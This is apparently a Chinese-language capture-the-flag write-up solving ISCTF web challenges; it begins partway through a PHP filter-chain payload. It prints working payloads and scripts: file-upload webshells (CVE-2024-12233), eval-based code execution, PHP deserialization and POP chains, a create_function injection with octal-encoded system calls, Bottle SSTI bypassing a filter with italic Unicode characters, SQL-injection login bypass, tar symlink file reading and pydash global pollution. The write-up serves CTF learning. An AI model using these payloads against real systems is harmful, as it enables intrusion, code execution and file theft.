conv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|string.strip_tags&cmd=system('cat f*');

image-20250204181628870

2025

b@by n0t1ce b0ard

在你以后的 CTF 历程中,你会遇到不少的大型 php 项目审计。

然而,大多数情况下,你不一定需要完全自己审计出一个原创的漏洞(0day),而是可以利用已有的漏洞进行攻击(nday)。

CVE 是这个世界上最大的漏洞数据库。复现 CVE 是每一个 web 手不可或缺的能力。接下来,尝试用好你的 google,去复现一个已经发布的 php 项目漏洞。

CVE 编号:CVE-2024-12233

题目都这样说了,直接去网上搜索就行,参考cve/RCE1.md at main · LamentXU123/cve

然后去跟着复现就行

查看附件中的registration.php,关键代码如下

mkdir("images/$e");
move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);

可以看到这里能够实现任意文件上传,并且也给出了路径,直接上传图片马

image-20251201130306406

然后访问images/1/1.php传参即可

image-20251201130426254

ISCTF{a17be674-c902-4a5d-9074-af6fb79bb549}

ezrce

<?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
}

只允许大小写字母,()_。类似于无参rce

GET:code=eval(array_pop(next(get_defined_vars())));
POST:1=system("cat /f*");

image-20251203105840623

ISCTF{d01d3d9d-1615-4648-8b0d-0e1aa5f81196}

来签个到吧

关键源码如下

#classes.php
<?php
class FileLogger {
public $logfile = "/tmp/notehub.log";
public $content = "";

public function __construct($f=null) {
if ($f) {
$this->logfile = $f;
}
}

public function write($msg) {
$this->content .= $msg . "\n";
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}

public function __destruct() {
if ($this->content) {
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}
}
}

class ShitMountant {
public $url;
public $logger;

public function __construct($url) {
$this->url = $url;
$this->logger = new FileLogger();
}

public function fetch() {
$c = file_get_contents($this->url);
if ($this->logger) {
$this->logger->write("fetched ==> " . $this->url);
}
return $c;
}

public function __destruct() {
$this->fetch();
}
}
?>
#index.php
<?php
require_once "./config.php";
require_once "./classes.php";

if ($_SERVER["REQUEST_METHOD"] === "POST") {
$s = $_POST["shark"] ?? '喵喵喵?';

if (str_starts_with($s, "blueshark:")) {
$ss = substr($s, strlen("blueshark:"));

$o = @unserialize($ss);

$p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
$p->execute([$ss]);

echo "save sucess!";
exit(0);
} else {
echo "喵喵喵?";
exit(1);
}

$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);
?>

在classes.php中能实现任意文件写入,所以直接尝试写马

<?php
class FileLogger {
public $logfile = "/var/www/html/shell.php";
public $content = '<?= eval($_POST[123]);?>';

}

$a=new FileLogger();
echo "shark=blueshark:".serialize($a);
#shark=blueshark:O:10:"FileLogger":2:{s:7:"logfile";s:23:"/var/www/html/shell.php";s:7:"content";s:24:"<?= eval($_POST[123]);?>";}

执行成功后访问shell.php传参获得flag

image-20251203114151518

ISCTF{e58b7fdc-7625-40b1-8a31-7cf4412f269e}

难过的bottle

看这个名字感觉是bottle模块注入,源码如下

from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
import shutil


# hint: flag is in /flag

UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024 # 1MB

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

def contains_blacklist(content):
"""检查内容是否包含黑名单中的关键词(不区分大小写)"""
content = content.lower()
return any(black_word in content for black_word in BLACKLIST)

def safe_extract_zip(zip_path, extract_dir):
"""安全解压ZIP文件(防止路径遍历攻击)"""
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.infolist():
member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
if not member_path.startswith(os.path.realpath(extract_dir)):
raise ValueError("非法文件路径: 路径遍历攻击检测")

zf.extract(member, extract_dir)

@route('/')
def index():
"""首页"""
return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ZIP文件查看器</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container">
<div class="row justify-content-center" id="index-page">
<div class="col-md-8 text-center">
<div class="card">
<div class="card-body p-5">
<div class="emoji-icon">📤</div>
<h2 class="card-title">轻松查看ZIP文件内容</h2>
<p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p>
<div class="mt-4">
<a href="/upload" class="btn btn-primary btn-lg px-4 me-3">
📁 上传ZIP文件
</a>
<a href="#features" class="btn btn-outline-secondary btn-lg px-4">
ℹ️ 了解更多
</a>
</div>
</div>
</div>
</div>
</div>
<div class="row mt-5" id="features">
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">🛡️</div>
<h4>安全检测</h4>
<p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">📄</div>
<h4>内容预览</h4>
<p>直接在线查看ZIP文件中的文本内容,无需下载</p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">⚡</div>
<h4>快速处理</h4>
<p>高效处理小于1MB的ZIP文件,快速获取内容</p>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''

@route('/upload')
def upload_page():
"""上传页面"""
return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传ZIP文件</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container mt-4">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header bg-primary text-white">
<h4 class="mb-0">📤 上传ZIP文件</h4>
</div>
<div class="card-body">
<form action="/upload" method="post" enctype="multipart/form-data" class="upload-form">
<div class="mb-3">
<label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label>
<input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required>
<div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div>
</div>
<button type="submit" class="btn btn-primary w-100">
📤 上传文件
</button>
</form>
</div>
</div>
<div class="text-center mt-4">
<a href="/" class="btn btn-outline-secondary">
↩️ 返回首页
</a>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''

@post('/upload')
def upload():
"""处理文件上传"""
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return '请上传有效的ZIP文件'

zip_file.file.seek(0, 2)
file_size = zip_file.file.tell()
zip_file.file.seek(0)

if file_size > MAX_FILE_SIZE:
return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'

timestamp = str(time.time())
unique_str = zip_file.filename + timestamp
dir_hash = hashlib.md5(unique_str.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, dir_hash)
os.makedirs(extract_dir, exist_ok=True)

zip_path = os.path.join(extract_dir, 'uploaded.zip')
zip_file.save(zip_path)

try:
safe_extract_zip(zip_path, extract_dir)
except (zipfile.BadZipFile, ValueError) as e:
shutil.rmtree(extract_dir)
return f'处理ZIP文件时出错: {str(e)}'

files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']

return template('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传成功</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>

<div class="container mt-4">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header bg-success text-white">
<h4 class="mb-0">✅ 上传成功!</h4>
</div>
<div class="card-body">
<div class="alert alert-success" role="alert">
✅ 文件已成功上传并解压
</div>

<h5>文件列表:</h5>
<ul class="list-group mb-4">
% for file in files:
<li class="list-group-item d-flex justify-content-between align-items-center">
<span>📄 {{file}}</span>
<a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary">
查看
</a>
</li>
% end
</ul>

% if files:
<div class="d-grid gap-2">
<a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary">
👀 查看第一个文件
</a>
</div>
% end
</div>
</div>

<div class="text-center mt-4">
<a href="/upload" class="btn btn-outline-primary me-2">
➕ 上传另一个文件
</a>
<a href="/" class="btn btn-outline-secondary">
🏠 返回首页
</a>
</div>
</div>
</div>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
''', dir_hash=dir_hash, files=files)

@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)

if not os.path.exists(file_path):
return "文件不存在"

if not os.path.isfile(file_path):
return "请求的路径不是文件"

real_path = os.path.realpath(file_path)
if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
return "非法访问尝试"

try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except:
try:
with open(file_path, 'r', encoding='latin-1') as f:
content = f.read()
except:
return "无法读取文件内容(可能是二进制文件)"

if contains_blacklist(content):
return "文件内容包含不允许的关键词"

try:
return template(content)
except Exception as e:
return f"渲染错误: {str(e)}"

@route('/static/<filename:path>')
def serve_static(filename):
"""静态文件服务"""
return static_file(filename, root='static')

@error(404)
def error404(error):
return "讨厌啦不是说好只看看不摸的吗"

@error(500)
def error500(error):
return "不要透进来啊啊啊啊"

if __name__ == '__main__':
os.makedirs('static', exist_ok=True)

#原神,启动!
run(host='0.0.0.0', port=5000, debug=False)

这里主要漏洞点是在/view/<dir_hash>/<filename:path>路由进行了渲染,所以直接打ssti就行,测试脚本如下

import requests
import zipfile
import re

exploit_content = r"""
{{7*7}}
"""

with open("1.txt", "w", encoding="utf-8") as f:
f.write(exploit_content)

with zipfile.ZipFile("1.zip", "w") as zipf:
zipf.write("1.txt")

url = "http://challenge.bluesharkinfo.com:24604/upload"
files = {
"file": ("a.zip", open("1.zip", "rb"), "application/zip")
}

resp = requests.post(url, files=files)
print(resp.text)
match = re.search(r"/view/[a-f0-9]+/[^ \n\"]+", resp.text)
if match:
view_path = match.group(0)
url1 = "http://challenge.bluesharkinfo.com:24604" + view_path
print(url1)
resp1 = requests.get(url1)
print(resp1.text)
else:
print("Failed to extract view path from response.")

image-20251201135028734

可以看到成功渲染出了49,下一步来fuzz一下黑名单

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
for i in range(32,128):
if chr(i).lower() not in BLACKLIST:
print(chr(i),end=" ")

#! " # $ & ' ( ) * + - . / 0 1 2 3 4 5 6 7 8 9 = @ A F G L [ \ ] ^ _ ` a f g l { | } ~

可以看到这里黑名单基本上过滤了所有字母,只留下了数字和部分符号可用,并且把%禁用了导致控制结构不能使用,这个时候就可以考虑斜体字绕过

参考聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass - LamentXU - 博客园

Python|基于Bottle的SSTI注入 | TGlu’blog

可以通过这个来找到斜体字斜体字:斜体字生成器 - Exotic Text

那就修改脚本进行测试

import requests
import zipfile
import re

exploit_content = r"""
{{𝓸𝓹𝓮𝓷('/flag').𝑟𝑒𝑎𝑑()}}
"""

with open("1.txt", "w", encoding="utf-8") as f:
f.write(exploit_content)

with zipfile.ZipFile("1.zip", "w") as zipf:
zipf.write("1.txt")

url = "http://challenge.bluesharkinfo.com:20431/upload"
files = {
"file": ("a.zip", open("1.zip", "rb"), "application/zip")
}

resp = requests.post(url, files=files)
print(resp.text)
match = re.search(r"/view/[a-f0-9]+/[^ \n\"]+", resp.text)
if match:
view_path = match.group(0)
url1 = "http://challenge.bluesharkinfo.com:20431" + view_path
print(url1)
resp1 = requests.get(url1)
print(resp1.text)
else:
print("Failed to extract view path from response.")

image-20251205002946916

ISCTF{c3a78057-018a-4848-9eed-f77028cd4376}

flag到底在哪

题目提示爬虫,那就进去访问robots.txt得到/admin/login.php

万能密码成功进入/admin/upload.php

POST:password=1' OR '1'='1&username=admin

然后正常传马,蚁剑连接

查看start.sh发现flag被写入/home/flag

#!/bin/sh

if [ "$DASFLAG" ]; then
INSERT_FLAG="$DASFLAG"
elif [ "$FLAG" ]; then
INSERT_FLAG="$FLAG"
elif [ "$GZCTF_FLAG" ]; then
INSERT_FLAG="$GZCTF_FLAG"
else
INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
fi

# 将FLAG写入文件
echo $INSERT_FLAG > /home/flag
chown www-data:www-data /home/flag

# 启动 apache
exec apache2-foreground

image-20251203115733603

ISCTF{7dbb5934-2809-48fd-997b-fa8dcad8502b}

flag?我就借走了

看到这个支持tar的解压功能,就想到上次哪个比赛通过软链接来实现任意文件读取的题,找到这篇文章学习一个有趣的任意文件读取-先知社区

先来尝试一下

ln -s /flag test
tar -zcvf 1.tar test

image-20251204233325077

然后直接上传生成的1.tar文件

image-20251204233351058

点击test就能触发flag下载,得到flag

image-20251204233417062

ISCTF{7d6d8d71-0f94-462e-8060-e6c734d1e60f}

Who am I

先随便尝试注册登录,然后进入/user_dashboard,然后就啥都没有了,尝试了ssti和sql也无果,那就返回登录页面再去看看,看到有个type参数为1,尝试更改为0

image-20251205000315453

进入了一个不一样的路由,访问后发现有查看配置文件选项,获得main.py

#main.py
flask import Flask,request,render_template,redirect,url_for
import json
import pydash

app=Flask(__name__)

database={}
data_index=0
name=''

@app.route('/',methods=['GET'])
def index():
return render_template('login.html')

@app.route('/register',methods=['GET'])
def register():
return render_template('register.html')

@app.route('/registerV2',methods=['POST'])
def registerV2():
username=request.form['username']
password=request.form['password']
password2=request.form['password2']
if password!=password2:
return '''
<script>
alert('前后密码不一致,请确认后重新输入。');
window.location.href='/register';
</script>
'''
else:
global data_index
data_index+=1
database[data_index]=username
database[username]=password
return redirect(url_for('index'))

@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
return render_template('dashboard.html')

@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
return render_template('admin.html')

@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"

@app.route('/user/name',methods=['POST'])
def name():
return {'username':user}

def logout():
return redirect(url_for('index'))

@app.route('/reset',methods=['POST'])
def reset():
old_password=request.form['old_password']
new_password=request.form['new_password']
if user in database and database[user] == old_password:
database[user]=new_password
return '''
<script>
alert('密码修改成功,请重新登录。');
window.location.href='/';
</script>
'''
else:
return '''
<script>
alert('密码修改失败,请确认旧密码是否正确。');
window.location.href='/user_dashboard';
</script>
'''

@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)

@app.route('/login',methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
type=request.form['type']
if username in database and database[username] != password:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
elif username not in database:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
else:
global name
name=username
if int(type)==1:
return redirect(url_for('user_dashboard'))
elif int(type)==0:
return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))

if __name__=='__main__':
app.run(host='0.0.0.0',port=8080,debug=False)

可以看到这里面的/operate路由通过pydash.set_实现了全局变量修改,并且/impression还实现了渲染功能,并且render_template函数的渲染文件的路径可以通过全局变量修改

jinja_loader.searchpath 是一个属性,通常存在于 Jinja2 模板加载器中,用于指定模板文件的搜索路径。它告诉 Jinja2 在哪些目录中查找模板文件。

所以我们只要修改渲染文件路径为根目录,再获取flag就行了,不然只有5字符的ssti大概率行不通

/operate?username=app&password=jinja_loader.searchpath&confirm_password=/

image-20251205001942250

/impression?point=flag

image-20251205001958948

ISCTF{dfabdb95-b254-4fd9-921f-5634f8f69cf5}

Bypass

<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];

$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';

if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}
}


if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}

第一次遇到$a("", $b);这种形式的调用方式,这个时候学到了一个新的利用方式


create_function()

create_function() 是 PHP 中的一个函数,用于创建一个匿名函数。

基础语法

string create_function(string $args, string $code)
  • args:是一个代表函数参数的字符串,参数之间用逗号分隔。
  • $code:是一个包含函数体代码的字符串。

举个例子

$myFunction = create_function('$a, $b', 'return $a + $b;');
echo $myFunction(2, 3); // 输出 5

创建了一个匿名函数,接受两个参数 $a$b,然后返回这两个参数的和。

$double = create_function('$num', 'return $num * 2;');
echo $double(5); // 输出10

创建了一个匿名函数,接受参数$num,函数执行代码是返回这个参数的两倍值

拿刚刚第一个例子来说,我们通过create_function()创建出来的方法就是

function($a,$b){
return $a+$b;
}

如果这里的参数可控,我们就能构造方法来实现命令执行,比如

function($a,$b){
;
}
system("ls");

但是这里如果让$b=;}system("ls");,完整插入后后面会多一个},所以这里需要注释掉后面的大括号,类似于sql注入注释引号

function($a,$b){
;
}
system("ls");/*
}

这样就能实现命令执行了


但是这里的$b其实也过滤了很多,这里使用八进制绕过,最后的函数参考如下

function($a,$b){
;
}
$v="system";
$v("ls");/*
}

所以最后生成exp脚本如下

<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}

function str8($string) {
$c = "";
for ($i = 0; $i < strlen($string); $i++) {
$c .= "\\" . decoct(ord($string[$i]));
}
return $c;
}

$a="create_function";

$system=str8("system");
$cmd=str8("cat /f*");
$b=';}$v="'.$system.'";$v("'.$cmd.'");/*';

$c=new FLAG($a,$b);
echo "?exp=".urlencode(serialize($c));
#?exp=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A66%3A%22%3B%7D%24v%3D%22%5C163%5C171%5C163%5C164%5C145%5C155%22%3B%24v%28%22%5C143%5C141%5C164%5C40%5C57%5C146%5C52%22%29%3B%2F%2A%22%3B%7D

注意这里由于是私有属性,需要url编码

image-20251219164358809

ISCTF{d7beac79-c49c-4de9-8884-11093426d469}

ezpop

<?php
error_reporting(0);

class begin {
public $var1;
public $var2;

function __construct($a)
{
$this->var1 = $a;
}
function __destruct() {
echo $this->var1;
}

public function __toString() {
$newFunc = $this->var2;
return $newFunc();
}
}


class starlord {
public $var4;
public $var5;
public $arg1;

public function __call($arg1, $arg2) {
$function = $this->var4;
return $function();
}

public function __get($arg1) {
$this->var5->ll2('b2');
}
}

class anna {
public $var6;
public $var7;

public function __toString() {
$long = @$this->var6->add();
return $long;
}

public function __set($arg1, $arg2) {
if ($this->var7->tt2) {
echo "yamada yamada";
}
}
}

class eenndd {
public $command;

public function __get($arg1) {
if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
echo "nonono";
}else {
eval($this->command);
}
}
}

class flaag {
public $var10;
public $var11="1145141919810";

public function __invoke() {
if (md5(md5($this->var11)) == 666) {
return $this->var10->hey;
}
}
}


if (isset($_POST['ISCTF'])) {
unserialize($_POST["ISCTF"]);
}else {
highlight_file(__FILE__);
}

还是一个比较简单的链子,不知道为什么有两个类没用上,这里的flaag中经历两次MD5然后是弱比较,去爆破下两次MD5后前三位数为666的字符串即可

<?php
for($i=0;;$i++){
if(substr(md5(md5($i)),0,3)=="666"){
echo $i;
break;
}
}
#213

完整exp如下

<?php
error_reporting(0);

class begin {
public $var1;
public $var2;
}


class starlord {
public $var4;
public $var5;
public $arg1;
}

class anna {
public $var6;
public $var7;
}

class eenndd {
public $command;
}

class flaag {
public $var10;
public $var11="1145141919810";
}

$a=new begin();
$a->var1=new begin();
$a->var1->var2=new flaag();
$a->var1->var2->var11="213";
$a->var1->var2->var10=new eenndd();
$a->var1->var2->var10->command='readfile("/fl"."ag");';

echo "ISCTF=".serialize($a);

#begin::__destruct->begin::__toString->flaag::__get->eenndd::__get
#ISCTF=O:5:"begin":2:{s:4:"var1";O:5:"begin":2:{s:4:"var1";N;s:4:"var2";O:5:"flaag":2:{s:5:"var10";O:6:"eenndd":1:{s:7:"command";s:22:"print_r(scandir("/"));";}s:5:"var11";s:3:"213";}}s:4:"var2";N;}
#ISCTF=O:5:"begin":2:{s:4:"var1";O:5:"begin":2:{s:4:"var1";N;s:4:"var2";O:5:"flaag":2:{s:5:"var10";O:6:"eenndd":1:{s:7:"command";s:21:"readfile("/fl"."ag");";}s:5:"var11";s:3:"213";}}s:4:"var2";N;}

image-20251219171501224

ISCTF{4aac9fb8-eb74-48c9-ad23-ba1a0832bb8f}